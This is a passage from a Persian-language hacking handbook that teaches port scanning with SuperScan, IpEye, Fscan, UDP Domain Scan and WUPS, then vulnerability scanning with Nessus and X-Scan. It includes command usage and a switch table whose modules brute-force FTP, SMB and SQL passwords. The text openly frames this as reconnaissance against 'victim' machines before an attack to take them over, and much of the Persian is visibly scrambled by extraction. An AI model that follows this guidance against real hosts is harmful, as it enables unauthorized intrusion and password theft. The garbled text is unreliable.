اه      عامل موجود، وضعيت اصلاحيه     های  های موجود بر روی شبکه، تعيين سيستم        سيستمپویش   ره       های امنيتی، وضعيت درگ از و غي های ب
  .گردد بررسی می

   
ویش             ن دسته از پ تفاده از ای ه              با وجود امکان اس ستم، از جنب ی یک سي ویش وضعيت امنيت ه پ ا ب ه تنه واردی ک ی، در م ا امنيت ی   گره ی

برای مثال یک . کنند افزارها استفاده کنيم که بررسی امنيتی را به ابعادی خاص محدود می یی از نرم توانيم تنها از دسته   ، می خاص، داریم 
رم     که در این متن قصد معرفی یکی از متداول        (گر درگاه     پویش رین ن م          ت ا را داری ن دسته ابزاره ازبودن     )افزارهای ای ه بررسی ب ا ب ، تنه
  . پردازد  میهای یک سيستم درگاه

   
ه           همراه پویش   گرهای درگاه، به     پویش     رای بررسی اولي ی وضعيت   گرهای آدرس، دو دسته ابزاری هستند که اغلب توسط نفوذگران، ب

ر اساس شماره      TCP/IPجایی که ارتباطات مبتنی بر پروتکل          از آن . گردند  سيستم مورد نظر استفاده می     اه       ب ورد   TCP/UDPی درگ  م
تاندارد     . افزار خاصی است   ی نرم گيرد، لذا هر درگاه عملاً نماینده مینظر انجام  اه اس ال درگ رای مث اه شماره   Web Serverب ا درگ ی  ه

ود، می  80 ع ش اه مطل ن درگ ودن ای از ب وذگر از ب ه نف ذا در صورتی ک وع   است، ل د ن ا Web Serverتوان رده و ب ز مشخص ک  را ني
د                های امنيتی آ    اطلاعاتی که در مورد ضعف     ادرت نمای اه مب ن درگ ق ای ه از طری ه حمل اه     . ن دارد ب ورد دیگر درگ ار در م د ک ز    رون ا ني ه

  .مشابه است
   

دم      با توجه به اهميتی که درگاه          د، یکی از ق زان امنيت        های باز روی سيستم در بالا رفتن خطر حملات دارن ين مي رای تعي ه ب های اولي
گرهای امنيت است و     گونه که گفته شد، این نوع پویش قسمتی از وظایف پویش        همان. باز است های    کنونی سيستم، اطلاع یافتن از درگاه     

ی  ا م تفاده از آنه اه   در صورت اس افتن از وضعيت درگ رای اطلاع ی وان ب زارش  ت ه گ از، ب ای ب ی  ه ویش جزئ ای حاصل از پ ن  ه ی ای
  .افزارهای رجوع کرد نرم

   
رم        اف  های یک سيستم نرم      برای پویش درگاه       ه ن د ک زار     زارهای متعددی وجود دارن داول     SuperScanاف زار       یکی از مت ن اب رین ای ا  ت  ه
تا رم. س ن ن ه محصول شرکت  ای زار ک ویش آدرسFoundstoneاف ان پ ای   است و امک ز دارد، IPه ی  را ني ه صورت  را م د ب تواني

ای ن شرکت در آدرس  رایگان از پ اه ای دcom.foundstone.wwwگ سخه.  دریافت کني ه می ن ه آن پرداخت تن ب ن م ه در ای ی ک شود،  ی
  . است۴نگارش 
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 ٥٩١    صفحه

د   HTMLهای خود را نيز در قالب       افزار که دارای حجم بسيار کمی است، تنها شامل یک فایل است و گزارش                این نرم      د می کن .  تولي
  :دهد  افزار در ابتدای اجرا را نشان می رمی اصلی این ن شکل زیر صفحه

   
   

  
    

ازه   .  وجود دارد IPهای  یی از آدرس  یا بازهIPدر قسمت اول، امکان ورود اسم یا آدرس    ر ب ی از   در شکل زی ویش     IPی رای عمل پ ا ب ه
  :اند  تعيين شده

    



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٥٩٢    صفحه

  
   

  :اند  ادیر پيش فرض در شکل زیر نمایش داده شدهمق. در قسمت دوم، امکان تعيين پارامتر برای تعيين نوع پویش وجود دارد
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تفاده از    . ی اصلی این ابزار است   برای تعيين پارامترها، سه بخش مجزا وجود دارد که به عنوان سه وظيفه     سمت اول، امکان اس در ق

ا  TCPهای   های پروتکل درگاهدر دو قسمت دیگر، پویش یا عدم پویش   .  وجود دارد  IPگر آدرس     این ابزار به عنوان یک پویش       UDP ی
ردد  های مورد نظر تعيين می  ی درگاه   و همچنين بازه   ازه . گ ه     ب ين شده ب يش   های تعي اه     صورت پ ه درگ داول و    فرض، اختصاص ب های مت

تفاده دارد ورد اس از می. م اه در صورت ني ازه از درگ ن ب ه ای وان ب ا، شماره ت رد ه ز اضافه ک ای دیگری را ني سمت در. ه اهدر ق ای  گ ه
TCP/UDP ،نيز وجود دارد ، امکان تعيين درگاهی به عنوان درگاه مبدأ، به صورت ثابت.  

   
ين می         در هریک از این سه بخش، زمانی که ابزار منتظر پاسخ از سوی سيستم مورد نظر می              ه، تعي ی ثاني ر حسب ميل د، ب . شود  مان

  .این عدد در بخش دیگری قابل تنظيم است. های ارسالی نيست ه ميان بستهمعنای فاصل خاطر داشت که این اعداد به البته باید به
   

  :دهد  ، برای تعيين پارامترهای دیگر این ابزار را نشان میScan Optionsی بعدی، یعنی   شکل زیر پنجره   
    

  
   

ام می              اه، انج رای درگ ردد، وجود دارد    در این بخش امکان تعيين تعداد دفعاتی که پویش، چه برای آدرس و چه ب ویش،    . گ ا تکرار پ ب
  .یی با سرعت پایين هستيم یابند، خصوصاً اگر در حال پویش بر روی شبکه نتایج دقت بيشتری می

   
ان امکان         ن مي رای سرویس    Banner Grabbing پارامتر مهم دیگر در ای ه ب ه     است ک ایی ک شان می  Banner اصطلاحا ه د،    ن دهن

تفاده از   . ، کاربرد داردFTP Serverها و Web Serverهمچون  ا اس وع و سازنده    ، می Bannerمعمولاً ب وان از ن ورد  Serverی  ت  م
  .نظر آگاه شد

   
سته  ی  با تعيين فاصلهاین سرعت که . گردد  در قسمت سمت راست، سرعت پویش تعيين می         ل تنظيم است، در       ميان ب دی قاب های تولي

ان اجرای             بر روی شبکه  صورتی که در حال پویش تعداد زیادی سيستم،         اه کردن زم ول هستيم، در کوت ل قب ا سرعتی قاب سترده ب ی گ ی
  .سزایی دارد ابزار نقش به

   
  

  :کنيد  را مشاهده میافزار  ی زیر، بخش ابزارهای همراه با این نرم  در پنجره   
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ه در بررسی وضعيت شبکه                     این نرم      داول، ک تفاده می       افزار، با در اختيار قراردادن ابزارهای کوچک و مت ا اس انی     ه لاً امک شود، عم
داول محسوب می       مجتمع برای استفاده   ردد   های مت ه دست آوردن آدرس      . گ ن بخش امکان ب ام،  IPدر ای ستگاه،    Ping از ن  کردن یک ای
ه  HTTPاستفاده از امکانات    ی بررسی مالکيت یک آدرس       ، بررسی مالکيت یک دامن ی و حت ز وجود دارد  IPی اینترنت ر   .  ني شکل زی

د    های م  برای یکی از آدرسRIPE Whois IPمثالی از اجرای  شان می ده ران را ن زار،    خروجی  . تعلق به شرکت مخابرات ای ن اب ای
  :ی مورد نظر و مالک آن است IPاطلاعات جامعی در مورد آدرس 
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 ٥٩٥    صفحه

  
   

ام             بررسی .  است  Windowsهای مبتنی بر      امکان بررسی سيستم  افزار،    ی این نرم     از دیگر امکانات ویژه        تا انج ن راس ه در ای ایی ک ه
ه        ، گروه NetBIOSاز جمله نام     گيرد،    گيرد تمامی ابعاد معمول یک سيستم را در بر می           می ی     ها و کاربران آن سيستم، دامن ی    های محل ی

  .  ابعادکه سيستم به آن متصل است، منابع به اشتراک گذارده شده و دیگر
   

ا آدرس                یی نمونه از اجرای آزمایشی         شکل زیر صفحه       ه ب ستم نمون ر روی یک سي ی  IPاین بررسی ب شان  192.168.0.4  محل  را ن
  :دهد  می
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 ٥٩٦    صفحه

  
   
برای مثال می توان تنها به بررسی  . پذیر است یی که مد نظر است نيز امکان     های ویژه   مکان تعيين بررسی  در سمت چپ این پنجره، ا          

  .ها و کاربران پرداخت  و یا تنها گروهNetBIOS  نام 
   

وان آن  ، میOptionsی  با انتخاب گزینه. کرد ابزار وجود دارد  در همين قسمت، امکان تعيين پارامترهایی، مجزا از نوع عمل      ا را   ت ه
  :تعيين کرد 

    

  
   

انواده                                   مهم     ستم عامل خ ر سي ی ب ستم مبتن رای بررسی یک سي ه ب اربری است ک ام ک ين ن ان، تعي ن مي ی  ترین پارامتر قابل تعيين در ای
Windowsه ی  ب ار م ه. رود ک د      ب املی دارد، مانن ارات ک ه اختي اربری ک ين ک ا تعي ر ب ارت دیگ یAdministratorعب و ، م امی ت ان تم

اره ورد نظر درب ه اطلاعات م ستم راه دور را ب ه. دست آورد ی سي وارد،  نکت ه در اغلب م ن است ک ان اهميت دارد ای ن مي ه در ای ی ک ی
د، هدف نيست           Administratorبررسی انجام شده توسط کاربر   ورد نظر دارن ستم م ام در سي ار ت ه اختي اربران دیگری ک ه .  یا ک ان   ب بي

ژه، بررسی    دیگر هدف اصلی از    ن امکان وی دون داشتن              استفاده از ای وعی ب اربر ن ستم توسط یک ک ه اطلاعات سي  امکان دسترسی ب
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 ٥٩٧    صفحه

ه امکان                     . های ویژه است    دسترسی ه است ک اربران متفرق رای ک ستم، ب ورد سي اتی در م ه اطلاعات حي در واقع وجود امکان دسترسی ب
  . دسترسی برای کابران در سطوح مدیریتیبرد و نه امکان وجود خطر حملات به سيستم را بالا می

   
اده      امکان فوق را، با توجه به سبکی این نرم              تفاده، می     افزار از نظر حجمی، و س ه   گی آن از نظر اس وان ب ویش      ت وعی یک امکان پ ن

ه Windowsهای عامل سری  گی از سيستم   ی اغلب کاربران خانه     استفاده. حساب آورد   امنيتی به  زوده و      اهميت ا   نيز ب ژه اف ن امکان وی ی
  .کند گر امنيتی ساده مطرح می تر به عنوان یک پویش آن را بيش

   
  
  
   :IpEyeنرم افزار -۴
  

الا     ه ب انيزم      ) Super Scan و Net Scan Tools( برنامه بعدی که ميخواهم معرفی کنم که تا حدودی از دو برنام وده و مک ر ب وی ت ق
  . که مثل بقيه ابزار های خوب تحت خط فرمان اجرا ميشود IpEyeشتيبانی ميکند عبارت است از های پویش مخفيانه را هم تا حدودی پ

  . ميتوانيد آن را تهيه کنيداینجا را در اختيار کاربر قرار ميدهد و از null و Xmas tree و FIN و SYSاین برنامه مکانيزم های 
  :بعد از اجرای برنامه شما یک همچين چيزی ميبينيد که من جاهای مهم آن را تو پر کرده ام 

ipEye 1.2 - (c) 2000-2001, Arne Vidstrom (arne.vidstrom@ntsecurity.nu) 

          - http://ntsecurity.nu/toolbox/ipeye/ 

Error: Too few parameters. 

 Usage: 

   ipEye <target IP> <scantype> -p <port> [optional parameters] 
  ipEye <target IP> <scantype> -p <from port> <to port> 
 [optional parameters] 

   <scantype> is one of the following: 

     -syn  = SYN scan ( پويش مخفيانه دست تکانی دو مرحله ای  ) 
     -fin  = FIN scan ( نقض اصول پروتکل  ويندوز نمی خوردبه درد ) 

     -null = Null scan (نقض اصول پروتکل به درد ويندوز نمی خورد  ) 
     -xmas = Xmas scan>br> ( نقض اصول پروتکل  به درد ويندوز نمی خورد ) 
     (note: FIN, Null and Xmas scans don't work against Windows systems. 

  

  [optional parameters] are selected from the following: 

     -sip <source IP>  = source IP for the scan 
     -sp <source port> = source port for the scan 
     -d <delay in ms>  = delay between scanned ports in milliseconds 
                         (default set to 750 ms) 

  ).خييييييييييييييييييلی سخت تایپ کردن(  بار تکرار کنيد تو یک مقاله ۴٠ به خدا زور دارد یک مطلب اًخوب حقيقت
  :همانطور که در بالا مشاهده می کنيد شکل عمومی این دستور در این برنامه این شکلی 

ipEye <target IP> <scantype> -p <port> [optional parameters] 
 
ipEye <target IP> <scantype> -p <from port> <to port> 

  
د    scantype هدف است و گزینه IP همان target IPکه گزینه  ویش را مشخص ميکن ل      (  نوع مکانيزم پ ا را در قب انيزم ه ن مک ه ای هم

اب p–و سویچ ) توضيح دادم و به طور خلاصه هم در بالا  ه جای    هميشه باید باشد که معرف پورت است که ت  شماره  from portلو و ب
  . اخرین شماره پورت را برای پویش مينویسيد to portپورت آغازین و به جای 

  .خوب در جواب این برنامه جلوی هر یک از پورت ها یک واژه ای مينویسد که معرف چيزی است که آن را هم ميگویم
   !!دهد نمی یعنی کامپيوتر در آن طرف هست ولی به پورت گوش  Closedواژه 
  !! یا چيزی مثل آن دهد هست که اجازه اتصال به آن پورت را نمی)دیوار آتش (  firewall یعنی اینکه یک Rejectواژه 
   !!زند و یا اصلا کامپيوتری اونور نيست  می چيز را پس  همهدیوار آتش یا چيزی مثل آن یعنی اینکه یک Dropواژه 
  !!ت باز  هم که یعنی اینکه آن پورOpenواژه 
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 ٥٩٨    صفحه

   :Fscan برنامه -۵
  

ورت های    FScanبرنامه بعدی که قسط معرفی آن را دارم برنامه   ویش پ اربرد دارد UDP است که برای پ ا آن تحت خط      .  ک ار ب ه ک ک
  :فرمان امکان پذیر بوده و البته خيلی راحت است و شکل عمومی دستور در آن به صورت زیر ميباشد

Fscan –u <from port>–<to port> <target IP> 
د    IPحتما دو شماره ( که توضيحات این شکل عمومی دستور کاملا شبيه بالا است          دا کني م ج شان دادن   ).  را با خط  فاصله از ه ا در ن ام

  !!نتيجه پویش فقط پورت های باز را نشان ميدهد نه چيز دیگری را 
  .بياید p–یک سری سویچ هم دارد که ميگویم و البته باید قبل از سویچ 

رد                    : b–سویچ   شاهده ک ه تحریک پاسخ دادن م ه ب ورت های را ک ه      . که با استفاده از این ميتوانيد اطلاعات پ ن برنام اد از ای م زی ه ه البت
  !! به شما جواب بدهدNmapانتظار نداشته باشيد مثل 

  . را پویش می کندTCP استفاده ميشود و پورت های u–به جای سویچ   : p–سویچ 
  . برای تنظيم مدت زمان این برنامه است t–   و d– و c–ای و سویچ ه

  . ببينيدfscanليست سویچ ها و توضيحات آن را ميتوانيد با نوشتن دستور 
  
   :UDP Domain Scan برنامه -۶
  

ه ميت      UDP Domain Scanبرنامه دیگری را که ميخواهم معرفی کنم برنامه  شتری است ازجمل ای بي ه دارای قابليته د یک    است ک وان
سيمای این نرم افزار را در زیر مشاهده می  ).اه اه ( البته این نرم افزار گرافيکی است !!  را برای باز بودن پورت ها پویش کند      IPرنج  
  :کنيد

  
  

 است و قسمت    IP که در شکل مشاهده می کنيد برای مشخص کردن رنج            ١قسمت  . خوب فقط این توضيح بدهم که یک دفعه اشتباه نکنيد         
 باید منتظر باشد را مشخص می IP هم وقفه زمانی را که بين هر پویش Intervalگزینه .  هم برای مشخص کردن رنج پورت ها است٢
  .. بگردید وBO2K هم ميتوانيد دنبال اسب تروا Configدر قسمت . کند

  .کار با این خيلی ساده 
  

ای  این. استWUPSآخرین ابزار پویش پورتی که معرفی ميکنم ابزار  ان توسعه     ( Arne Vidstrom ابزار توسط دوست خوبم آق هم
زار  ده اب ه است ) IpEyeدهن عه یافت م گرافيکی است . طراحی و توس زار ه ن اب دم !! ای و دارد و آن ع شکل کوچول ه یک م ن برنام ای

ين    .  ساده استکی واقعاًکار با این ی. است البته ابزار بالای را به همين خاطر اول معرفی کردمIPتوانایی پویش یک رنج      ه هم پس من ب
  .خاطر دیگه توضيح نميدهم در باره این ابزار

  
ال            IPخوب تا به این جا یک سری نرم افزار در باره پویش پورت و پویش                  به منظور اینکه اصلا آیا ماشين فعال هست یا نه و یا اگر فع

  .وزش نيز دادمبه شما معرفی کردم و آم... هست چه پورت هایی از آن باز است و
  

 گانه هک را برای شما ها عزیزان توضيح دادم و فقط یک مرحله دیگر باقی مانده که آن را هم توضيح ۴ مرحله از مراحل ٢تا به حال 
م  به من حق بدهيد که مطلب بسيار است و ابزارها بيشتر من نميدانقبول دارم گسيختگی مطالب تا به اینجا بسيار است اما واقعاً. ميدهم
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 ٥٩٩    صفحه

در ضمن سعی من بر این است تا شما بفهميد که اصلا این عمليات ها و مکانيزم ها چگونه انجام ميشود و !! از کدام بنویسم و چه بنویسم
 در این باره مطلب خيلی کم است و البته باید این کار را خيلی مشکل تر ميکند چون من باید از اصول این کار برای شما بگم که واقعاً

که این مطلب برای آنهای که مفهوم های پایه ایی همچون % ) ۶٠یعنی ( ولی من سعی کردم . یکسری اطلاعات پایه داشته باشد هخوانند
  . را بدانند مفيد باشد...  وTelnetپورت و یا 

  
  
  
  
 
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٦٠٠    صفحه

  
  

  
  
  
  

  
  
  

حالا با توجه به آنها روی ... ت اوليه و یک سری اطلاعات ثانویه از قبيل سرویس ها و    در واقع ما بعد از بدست آوردن اطلاعا       : اهداف  
  !!نقص های امنيتی انها کار ميکنيم تا یک سوراخ یا چيز دیگری پيدا کنيم 

  
 .  پویش نقاط آسيب پذیری : يازدهمفصل  

  
  .Nessusآموزش و معرفی ابزار  
  .X-Scanآموزش و معرفی ابزار  
  .NEWT Security Scanner (Nessus For Windows)رفی ابزار آموزش و مع 
  .Nessusآموزش نصب برنامه  
  .Retinaآموزش و معرفی ابزار  
  .ISSآموزش و معرفی ابزار  
 .معرفی قالبهای شماره  گزاری حفره های امنيتی  

  
 CVE و CAN.  
 BID یا Bug Traq.  
 CA یا CERT.  
 XF.  

  
 .له به سرویس دهنده وب معرفی و آموزش ابزارهای حم 

  
  .Whiskerآموزش و معرفی ابزار  
  .N-Stealthآموزش و معرفی ابزار  

  
 .تجزیه و تحليل نتایج  
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 ٦٠١    صفحه

  گام سوم
  

  :مقدمه 
  

ينهای        ا ماش خوب تا به حال شما پورت های باز نوع سيستم عامل برنامه های کاربردی و سرویس دهنده ها و مشخصات شبکه هدف و ی
ا   . ست را مشخص کرده اید و اطلاعات کاملی دارید  که در آن شبکه ا     در این جا ممکن است دو اتفاق بيفتد یا شما با تجربه اید که هيچی ی

يم                      اگر عجول   . بدون تجربه اگر عجول نيستيد این مرحله را انجام ميدهيم بعد تهاجم اصلی برای بدست گرفتن ماشين هدف را آغاز ميکن
از شده               هستيد که فکر ميکنم دیگه به ای       شتی ب ا یک در پ روا ی ن مرحله هم نرسيده اید چون مثلا اگر یک پورت باز که توسط یک اسب ت

ایی روی آن هست و                 . سراغ آنها رفته اید و به نوعی مرده خوری می کنيد           ه ه ... ما در این مرحله ميدانيم که مثلا ماشين هدف چه برنام
ایتهای مشهور         ( خته شده آن رفته      ميتوانيم سراغ حفره های شنا     عبا دانستن این موضو    ه یک از س اگر از حفره های آن اطلاعی ندارید ب

دیر                       Exploitو  )که در ادامه ميگویم مراجعه کنيد        ه م اد است و البت سيار زی  های آن را استفاده کرده ولی معمولا این حفره های امنيتی ب
ه را  . و انجام تک تک این کار بسيار مشکل است     های آن حفره ها را معمولا نصب ميکنند          Patchسایت یا آن سرور      خوب ما این مرحل

ذیر   برای این انجام ميدهيم که این کار را اتوماتيک کرده و حفره های                يم     اسيب پ ر کشف کن ه واسطه       (  را زودت ا ب ره ه تم بعضی حف گف
Patch        ه مع            )  ها مشکل ان ها برطرف ميشود ن است ک م ای م آن ه م داری اط آسيب       البته یک هدف دیگر ه ویش نق رم افزارهای پ مولا ن

د                        ا اطلاع ميدهن ه م د ب د و اگر جواب ده ه خوبی در               . پذیری معمولا متدهای هک را هم آزمایش ميکنن ه اگر تجرب ا متوجه شدید ک حتم
شناسم و    اختيار داشته باشد براحتی ميتوانيد این مرحله را نادیده گرفته و کار را یک سره کنيد ولی من تمام آنهایی را که در          ن مدت مي  ای

ه                     د و ب البته قبول دارم آنها را با اینکه  تجربه بسيار فوق العاده ایی در کل امورات هک دارند این مرحله را به هيچ وجه نادیده نمی گيرن
رد        " ميشود  ... آدم مغرور   : " قول یکی از آنها که هميشه می گفت        شه تکرار می ک ه   . و سخن آبراهام را همي ن مقال تم سخن را   اول ای گف

ر       ۴ ساعت قطع کنم ،      ۶چنان چه قرار باشد درختی را در مدت         " حالا یک بار دیگر ميگویم       ز کردن تب  ساعت نخست آن را صرف تي
رد شتر  ". خواهم ک ستند یک کمی دردسر ساز است چون بي ز ه سی تخصصی ني رای هر سروی ه ب ه البت ا ک ویش گر ه ن پ ی ای معرف

اً          ابزارهای خوب آن ، که کمتر ا       ا واقع ارایی شده ام  شتباه می کند روی سيستم عامل های لينوکس اجرا ميشوند تا ویندوز اما اخير یک ک
  . را توجيه کرددنمی شود خلع موجو

  
   :Nessusابزار 

  
فانه روی                 ه متأس سيار عالی دارد ک ارایی ب ه ک دوز اجرا    برنامه کد بازی است و البته رایگان و یکی از بهترین این ابزارها ، که البت  وین

وکس را توضيح                 (نمی شود و برای سيستم های لينوکس است          این را بگویم که اگر زمانی بود نرم افزارها ماشين مجازی و شبه ساز لين
) یکی دو سال همش ( این را بگویم که  جدیداً. البته چرا من دروغ بگویم با اینکه فوق العاده است من اصلا از آن خوشم نمی اید            ). ميدهم

اره      NeWT Security Scanner نسخه ویندوز آن را با نام Tenableشرکت  ا را دوب د ه ه ک   انتشار داده است البته این شرکت نگرفت
رده است           Plug-inبرای ویندوز بنویسد بلکه شيوه نگارش        دوز حالی ک ه وین ه ضعيف ب ا نوشتن یک برنام ا را ب ه    .  ه د ک ن را ميداني ای

scripts  های این برنامهNessus     ام ا ن ه صورت     Nessus Attack Scripting Language از زبان خاص خودش ب ه ب  NSAL ک
ن           ه ای رده البت گفته ميشود و پسوند اسکریپت های پلاگ اینها نيز هستند را با استفاده از برنامه ضعيف خود یک جور آیی حالی ویندوز ک

ه        برنامه کار با آن ساده است ولی نسخه معمولی که در سایت گ             د ن ویش کن ان را پ  را C های کلاس   IPذاشته فقط ميتواند کامپيوتر خودت
م توضيح                                  ن را ه ن حال ای ا ای ی ب دا نکردم ول که این برنامه خودش گفته من هر چی گشتم نسخه حرفه ای آن را که براش تبليغ ميکند پي

ز د                 . ميدهم ارایی خوبی ني ه ک ه    scriptsارد و از    یک برنامه دیگر برای پویش نقاط آسيب پذیر هست ک م   Nessus های برنام تفاده ه  اس
وع        اینجا است که از     X-Scanميکند برنامه     ميتوانيد دریافت کنيد آن را و من توصيه ميکنم از این حتما استفاده کنيد چون خودش یک ن

Nessus              اده اس وق الع افوق ف ارای آن م ه         . ت برای ویندوز و ک ه برنام دهم ک ن یک توضيح ب سی     Nessusای ه نوی ان برنام  چون از زب
ا        scripts ها ، کلا     scriptsبرای  ( خاص خودش که بالا گفتم استفاده می کند          سوند آنه ه پ د ک ی ميگوین  به کد های کشف حفره های امنيت

NSLA    برای برنامه Nessus               وع ن ن ه از ای ایی ک ه ه تفا    scripts است و برنام ا اس زار             ه رم اف شابه ن ایی م د توان رای   Nessusده کن  ب
ه                   ) کشف حفره های امنيتی قابل استفاده هستند         و منبع باز است آنقدر مشهور است البته به حق نيز است و من منکر آن نيستم همانطور ک

رای  این را اضافه کنم که .  در ویندوز استفاده کنيد که مجانی هم است X-Scanگفتم بهتر است از برنامه       برنامه های زیادی دیگر حالا ب
ر بچه های     Nessus های  scriptsویندوز منتشر شده که از        برای پویش حفره های اسيب پذیری قربانی استفاده ميکند به همين خاطر ب

ل  ه را مث ن برنام دوز ای سخه وین رفتن ن ویس ن ه ن ری رNmapبرنام ای بهت ا نرمافزاره د حتم ال بگردی د یک ذره دنب دا  درست کنن ا پي
  .ميکنيد

  
   :X-Scan برنامه Nessusنسخه ویندوز

  
  :مقدمه برنامه 

ه از          xfocusخوب این برنامه از تيم       دوز ک رای وین ود ب ایی ب ه ه ين برنام ره    Nessus های  scripts است که جزو اول ویش حف رای پ  ب
ه            ٣٫١های اسيب پذیری قربانی استفاده ميکرد و کارایی خوبی هم دارد شما ميتوانيد نسخه                 آن را از بالا دریافت کنيد این برنامه نيازی ب



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٦٠٢    صفحه

راه خودش   ه هم شرده ب ت ف ردن آن از حال ارج ک د از خ دارد و بع رین  scripts ٣٧١٣نصب ن د ت رای دریافت جدی راه دارد ب ه هم  ب
scripts  ها ميتوانيد از برنامه همراه خودش به نام Update.exeاین برنامه.  استفاده کنيد )X-Scan ( ابط کاربری اش این شکلی ر:  

  
  

م دارای یک                    xscan_gui دارای یک رابط کاربری ساده است به نام          X-Scanبرنامه   ا و ه ازه کاره رای ت د ب  که کار با را ساده می کن
د                        Xscanنسخه خط فرمان به نام       م نمی کن ا ه ی هيچ فرقی ب ان را دوست دارم مل د از اجرای آن در خط       .  که من نسخه خط فرم ه بع  ک

  :فرمان  این مشاهده می کنيد
C:\X-Scan-v3.1>xscan.exe 
Usage: xscan -host <startIP>[-<endIP>] <module> [option] 
          xscan -file <host_list_file> <module> [option] 
 
<module> means: 
   -active   : check if the target host is active 
   -port     : check the status of tcp port 
   -smb      : check NT-Server weak password 
   -netbios  : check Netbios information 
   -snmp     : check SNMP information 
   -os       : check target OS version 
   -ftp      : check FTP-Server weak password 
   -pub      : Check anonymous pub write permission 
   -pop3     : check POP3-Server weak password 
   -smtp     : check SMTP-Server vulnerability 
   -sql      : check SQL-Server weak password 
   -iis      : check IIS encode/decode vulnerability 
   -cgi      : check cgi vulnerability 
   -nasl     : load Nessus Attack Scripts 
   -all      : check all vulnerability 
 
[option] means: 
   -i <interface_number>: set network interface 
   -l: list network interface to get the <interface_number> 
   -v: display verbose information 
   -p: skip host when no response 
   -o: skip host when no opened port be found 
   -t <thread_count[,host_count]>: specify the maximal thread count and host count, default is 100,10 
   -log <report_file>: specify the report filename, text or html format 
 
Example: 
      xscan -host xxx.xxx.1.1-xxx.xxx.254.254 -all 
      xscan -host xxx.xxx.1.1-xxx.xxx.254.254 -port -smb -p -t 100 
      xscan -file host.lst -port -cgi -t 100,5 -v -o 
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 ٦٠٣    صفحه

ر    نسخه خط فرمان اجازه بيشتری به ما برای کنترل برنامه ميدهد که البته فکر کنم شما دوستان تاز          ا بهت د از آن و ی ه کار خوشتان نمی آی
ری                              ر و جواب های صحيح ت داری بهت ان دارای پای ه های خط فرم ه برنام د ک اور کني ی ب ان ، ول بگم که اصلا از برنامه های خط فرم

ر شدن                           ه و پ شته   " هستند چون نسخه های گرافيکی در ویندوز در صورت کمبود حافظه که مثلا با بالا آمدن یک برنام ممکن است    " پ
د و  ه را از دست بدهن ان لحظ ات هم يم ... یک سری از اطلاع تفاده کن ان اس ر است از خط فرم ط  . پس بهت ه راب نم ک ن را اضافه ک ای

دی را                     ) xscan_gui(کاربر ان پيکر بن ادل هم ه مع ن برنام ویش ای ا تنظيم آن و شروع پ فقط یک رابط است نه خود برنامه چون شما ب
ان ای سخه خط فرم رای ن دب را ميکن شت ضميمه اج ان را در پ ه خط فرم رده و برنام اد ک ان . ج ه خط فرم اره از برنام ا را دوب و جوابه

  .ميگيرد و به صورت گرافيکی به ما نمایش ميدهد
  . است٢۵/٣/٢٠٠۴ باشد مال ٣٫١ بود آخرین نسخه اش که الان فکر ميکنم همان ١٢/١٢/٢٠٠٠اولين نسخه این برنامه مال 

  :ورات در این برنامه به دو شکل زیر است شکل عمومی دست
C:\>xscan -host <startIP>[-<endIP>] <module> [option] 
 
C:\>xscan -file <host_list_file> <module> [option] 

م <module>به جای .  های قربانی را مينویسيد   IP یا   IP شما   startIP>[-<endIP>]>به جای     . خوب همه چيز کاملا واضح است        ه
 هم اگر لازم دانستيد یکی از سویچ های جدول شماره        [option]و به جای    .  را مينویسيم  ١یکی یا مخلوطی از سویچ های جدول شماره         

  .دو را مينویسيد
  

   :١جدول شماره 
  توضيحات  سویچ  
١  -active   برای این است که درک کند آیا اینIPجور یک .  که شما به برنامه دادید آیا بالا است یا نه

 را به برنامه ميدهيد خيلی مفيد IPوقتی یک رنج .(  را انجام ميدهدPingهایی همان عمل 
  )است 

٢  -port  وضعيت پورت هایTCPمرحله ایی ٣فکر کنم از مکانيزم پا تکانی .  را یک نگاهی ميکند 
  . را هم پشتيبانی ميکند SYNو البته مکانيزم . استفاده ميکند

٣  -smb  ردن کلمه های عبور اشتراک های پروتکل برای بدست آوSMB که بعدا کامل توضيح 
و البته این راهم بگم که برای حفره های موجد در این . ميدهم یک سری تلاش اساسی ميکند

  .پروتکل هم پویش ميکند
۴  -netbios   یک سری اطلاعات در بارهNetBIOSالبته در صورت فعال بودن ، که .  بدست می آورد

و البته به . وره زمانه برای سرور ها بعيد است که اصلا این سرویس فعال باشددر این د
  .دنبال حفره های این پروتکل هم ميگردد

۵  -snmp  در صورت فعال بودن این پروتکل برای وجود حفره ها آن را پویش می کند.  
۶  -OS   از سعی ميکند شماره نسخه و البته خود و نوع سيستم عامل را کشف کند بعدNmap خيلی 

برای ( کاراش درست است و البته برای کشف حفره های ان سيستم عامل را یک پویش نيز
  .ميکند) کشف حفره های موجد در سيستم عامل 

٧  -ftp  با اضافه کردن این سویچ با استفاده از مکانيزم  . خوب همه این پروتکل را ميشناسندBrute 
Forceند و البته برای حفره ها کشف حفره های موجد در  سعی ميکند کلمه عبور را کشف ک

  .این پروتکل هم ، یک پویش ميکند
٨  -pub   یک آزمایشی ميکند ببيند که آیا آن ماشين اجاره دسترسی ناشناس)anonymous ( را به ما

  .ميدهد و البته باز هم یک سری پویش برای کشف حفره آنجام ميدهد
٩  -POP3 با اضافه کردن این سویچ .  از صندوق پستی الکترونيک استخوب این پروتکل کشش نامه

  .در صورت فعال بودن این سرویس برنامه یک سری پویش برای کف حفره ها انجام ميدهد
١٠ -smtp   خوب این همان پروتکل ارسال و دریافت پست الکترونيک یا همانE-Mailخودمان است  .

اساس در باره آن ميگيرد و این پروتکل را که با اضافه کردن این سویچ یک سری اطلاعات 
  .برای وجود حفره ها ميگردد

١١ -sql  خوب اگر ماشين قربانی از این سرویس استفاده بکند با اضافه کردن این سویچ برنامه برای
  .کشف حفره های موجد در این سرویس یک تلاشی ميکند

١٢ -iis   نوع اگر شما ميدانيد سرویس دهنده وب این ماشين ازIISاست ، با ت در پيت مایکروساف 
شما یک تعدادی حفره عالی کشف %) ٩٩٫٩٩٩٩بالای (اضافه کردن این سویچ حتما 

  .ميکنيد
